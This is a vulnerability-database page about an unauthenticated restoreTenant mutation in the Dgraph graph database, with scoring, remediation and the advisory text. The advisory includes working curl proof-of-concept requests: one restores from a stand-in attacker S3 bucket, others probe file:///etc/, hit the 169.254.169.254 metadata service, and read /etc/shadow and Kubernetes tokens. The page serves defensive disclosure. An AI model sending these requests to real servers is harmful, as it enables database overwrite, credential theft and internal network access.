Skip to main content

Docker CVE-2026-34976

| EUVDEUVD-2026-19360 CRITICAL
Missing Authorization (CWE-862)
2026-04-02 https://github.com/dgraph-io/dgraph GHSA-p5rh-vmhp-gvcw
10.0
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send unauthenticated GraphQL mutation
  2. Exploit
    Call restoreTenant with malicious backup URL
  3. Execution
    Access local files via file:// protocol
  4. Impact
    Overwrite database or exfiltrate credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization checks on every request
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

restoreTenant GraphQL admin mutation must be exposed without authorization middleware in admin.go (lines 499-522). Requires network access to GraphQL endpoint; no authentication required.

Impact

This vulnerability represents critical real-world risk despite no EPSS or KEV data being provided in the analysis input. The CVSS 3.1 score of 10.0 with vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H accurately reflects maximum severity: network-accessible (AV:N), trivial exploitation requiring only HTTP POST with no credentials (AC:L, PR:N), no user interaction (UI:N), scope change enabling container/cluster compromise (S:C), and complete confidentiality/integrity/availability impact (C:H/I:H/A:H). The vulnerability is immediately exploitable with publicly available exploit code in the advisory's proof-of-concept section, demonstrating working attacks against dgraph/dgraph:latest Docker images. Attack complexity is minimal-standard curl commands with no special tools required. The authorization bypass affects ALL admin API endpoints exposed on default port 8080, requiring no authentication headers, JWT tokens, or IP whitelisting bypass. Real-world impact is severe across multiple attack vectors: (1) Database integrity destruction via malicious backup restoration overwrites entire namespaces, (2) Confidential data exfiltration through file:// URI reads of /etc/passwd, /etc/shadow, Kubernetes service account tokens at /var/run/secrets/, (3) SSRF enabling cloud metadata theft (169.254.169.254 probes confirmed), internal service enumeration via Vault endpoint manipulation, and lateral movement in Kubernetes/Docker environments. The tags confirm deployment contexts (Docker, Kubernetes, Hashicorp Vault integration) where these attack chains are viable. Affected versions span v24.x and v25.x through v25.3.0, indicating widespread exposure in production deployments. Remediation requires immediate patching as no effective workaround exists-disabling the admin API blocks legitimate operations. This is a true critical-priority vulnerability demanding emergency response, not a theoretical high-CVSS issue.

Exploit ScenarioDerived

An attacker sends a crafted GraphQL restoreTenant mutation over the network without credentials, specifying a file:// URL to read /etc/passwd or an S3 URL with attacker-controlled credentials to overwrite the application database entirely, achieving complete system compromise.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 02, 2026

Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks against Dgraph graph database servers (v24.x, v25.x prior to v25.3.1) via the admin API's restoreTenant mutation. The mutation bypasses all authentication middleware due to missing authorization configuration, allowing attackers to provide arbitrary backup source URLs (including file:// schemes for local filesystem access), S3/MinIO credentials, Vault configuration paths, and encry

Earlier versions of this analysis (1)
v1 Apr 02, 2026 - 21:01 CVSS 10.0

Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks against Dgraph graph database servers (v24.x, v25.x prior to v25.3.1) via the admin API's restoreTenant mutation. The mutation bypasses all authentication middleware due to missing authorization configuration, allowing attackers to provide arbitrary backup source URLs (including file:// schemes for local filesystem access), S3/MinIO credentials, Vault configuration paths, and encryption key file paths. Live exploitation confirmed in Docker deployments. Vendor-released patch available in v25.3.1 (commit b15c87e9).

RemediationAI

Immediately upgrade to Dgraph v25.3.1 or later, released at https://github.com/dgraph-io/dgraph/releases/tag/v25.3.1, which includes commit b15c87e9353e36618bf8e0df3bd945c0ce7105ef adding restoreTenant to the adminMutationMWConfig map with gogMutMWs middleware enforcement. For Docker deployments, update image tags to dgraph/dgraph:v25.3.1 and restart alpha nodes. Kubernetes users should update Helm charts or StatefulSet manifests to reference the patched version and perform rolling updates. No configuration changes are required beyond version upgrade-the fix automatically enforces Guardian-of-Galaxy authentication, IP whitelisting, and audit logging for restor

Affected VersionsENISA

dgraph < 25.3.1

Affected Packages

go github.com/dgraph-io/dgraph no fix
go github.com/dgraph-io/dgraph/v24 no fix
go github.com/dgraph-io/dgraph/v25 fix: 25.3.1
go github.com/hypermodeinc/dgraph/v24 fix: 24.1.6
euvd dgraph fix: 25.3.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 5 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Dgraph is a distributed graph database written in Go (github.com/dgraph-io/dgraph). The admin GraphQL API implements tenant restore functionality through the restoreTenant mutation, which should require Guardian-of-Galaxy authentication (gogMutMWs middleware) similar to the restore mutation. However, the adminMutationMWConfig map at admin.go:499-522 omits restoreTenant entirely. During middleware resolution (resolve/resolver.go:431), the lookup returns nil, and the Then() method at resolve/middlewares.go:98 detects len(mws)==0 and returns the resolver directly, completely bypassing authentication, IP whitelisting, and audit logging. The root cause is CWE-862 (Missing Authorization), where a privileged operation was inadvertently exposed without access control. The mutation accepts RestoreInput parameters including location (URI), accessKey/secretKey (S3 credentials), vaultAddr/vaultRoleIDFile/vaultSecretIDFile (Vault config), and encryptionKeyFile paths. The backup handler (backup_handler.go) supports file://, s3://, and minio:// URI schemes, creating fileHandler (lines 130-132) or S3/MinioClient instances (line 257) that perform direct filesystem or network operations. The fileHandler.Read method (line 153) executes os.ReadFile on attacker-controlled paths, while ListPaths (lines 161-166) walks local directories. The restore workflow (online_restore.go:98-106, admin/restore.go:54-74) passes user input directly to worker.ProcessRestoreRequest without validation, enabling path traversal and SSRF.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
SUSE CRITICAL

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch released
Apr 02, 2026 - 21:01 nvd
Patch available
CVE Published
Apr 02, 2026 - 20:44 nvd
CRITICAL 10.0

DescriptionGitHub Advisory

The restoreTenant admin mutation is missing from the authorization middleware config (admin.go:499-522), making it completely unauthenticated. Unlike the similar restore mutation which requires Guardian-of-Galaxy authentication, restoreTenant executes with zero middleware.

This mutation accepts attacker-controlled backup source URLs (including file:// for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.

Authentication Bypass

Every admin mutation has middleware configured in adminMutationMWConfig (admin.go:499-522) EXCEPT restoreTenant. The restore mutation has gogMutMWs (Guardian of Galaxy auth + IP whitelist + logging). restoreTenant is absent from the map.

When middleware is looked up at resolve/resolver.go:431, the map returns nil. The Then() method at resolve/middlewares.go:98 checks len(mws) == 0 and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.

PoC 1: Pre-Auth Database Overwrite

The attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database:

No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.

curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/evil-backup\", accessKey: \"AKIAIOSFODNN7EXAMPLE\", secretKey: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\", anonymous: false }, fromNamespace: 0 }) { code message } }" }'

Response: {"data":{"restoreTenant":{"code":"Success","message":"Restore operation started."}}}

The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace).

The resolver at admin/restore.go:54-74 passes location, accessKey, secretKey directly to worker.ProcessRestoreRequest. The worker at online_restore.go:98-106 connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data.

Note: the anonymous: true flag (minioclient.go:108-113) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a public S3 bucket without providing any AWS keys:

mutation { restoreTenant(input: { restoreInput: { location: "s3://public-attacker-bucket/evil-backup", anonymous: true }, fromNamespace: 0 }) { code message } }

Live PoC Results (Dgraph v24.x Docker)

Tested against dgraph/dgraph:latest in Docker. Side-by-side comparison:

restore (HAS middleware) -> BLOCKED

$ curl ... '{"query": "mutation { restore(...) { code } }"}' {"errors":[{"message":"resolving restore failed because unauthorized ip address: 172.25.0.1"}]}

restoreTenant (MISSING middleware) -> AUTH BYPASSED

$ curl ... '{"query": "mutation { restoreTenant(...) { code } }"}' {"errors":[{"message":"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID"}]}

The restore mutation is blocked by the IP whitelist middleware. The restoreTenant mutation bypasses all middleware and reaches the backup verification logic.

Filesystem enumeration also confirmed with distinct error messages:

  • /etc/ (exists): "No backups with the specified backup ID" (directory scanned)
  • /nonexistent/ (doesn't exist): "The uri path doesn't exists" (path doesn't exist)
  • /tmp/ (exists, empty): "No backups with the specified backup ID" (directory scanned)

PoC 2: Local Filesystem Probe via file:// Scheme

curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///etc/\" }, fromNamespace: 0 }) { code message } }" }'

Error response reveals whether /etc/ exists and its structure.

backup_handler.go:130-132 creates a fileHandler for file:// URIs.

fileHandler.ListPaths at line 161-166 walks the local filesystem.

fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path))

PoC 3: SSRF via S3 Endpoint

curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://169.254.169.254/latest/meta-data/\" }, fromNamespace: 0 }) { code message } }" }'

The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint.

Error response may leak cloud metadata information.

PoC 4: Vault SSRF + Server File Path Read

curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/backup\", accessKey: \"AKIA...\", secretKey: \"...\", vaultAddr: \"http://internal-service:8080\", vaultRoleIDFile: \"/var/run/secrets/kubernetes.io/serviceaccount/token\", vaultSecretIDFile: \"/etc/passwd\", encryptionKeyFile: \"/etc/shadow\" }, fromNamespace: 0 }) { code message } }" }'

vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080

vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk

encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag

Fix

Add restoreTenant to adminMutationMWConfig:

"restoreTenant": gogMutMWs,

Koda Reef

Executive ViewAI

Why It Matters

Dgraph graph database versions 24.x and 25.x prior to 25.3.1 contain a critical vulnerability allowing unauthenticated remote attackers to overwrite databases, read server files, and execute server-side request forgery attacks through an unprotected admin API endpoint. Organizations running affected Dgraph instances face immediate risk of complete data loss, credential theft, and lateral network compromise. Exploitation requires no authentication or special privileges and has been confirmed active in production Docker environments.

Business Impact: Severe
Compensating Controls

Apply vendor patch to v25.3.1 or later. Interim mitigations if immediate patching delayed: (1) Disable or restrict network access to the admin API endpoint (typically port 8080) to trusted internal IPs only via firewall rules; (2) Implement reverse proxy authentication in front of Dgraph with mandatory mutual TLS and API key validation; (3) Monitor access logs for POST requests to the restoreTenant mutation endpoint and block suspicious requests; (4) Isolate Dgraph instances on separate network segments with egress controls to prevent SSRF attacks to internal resources or cloud metadata services.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA POC (1) Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

70
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy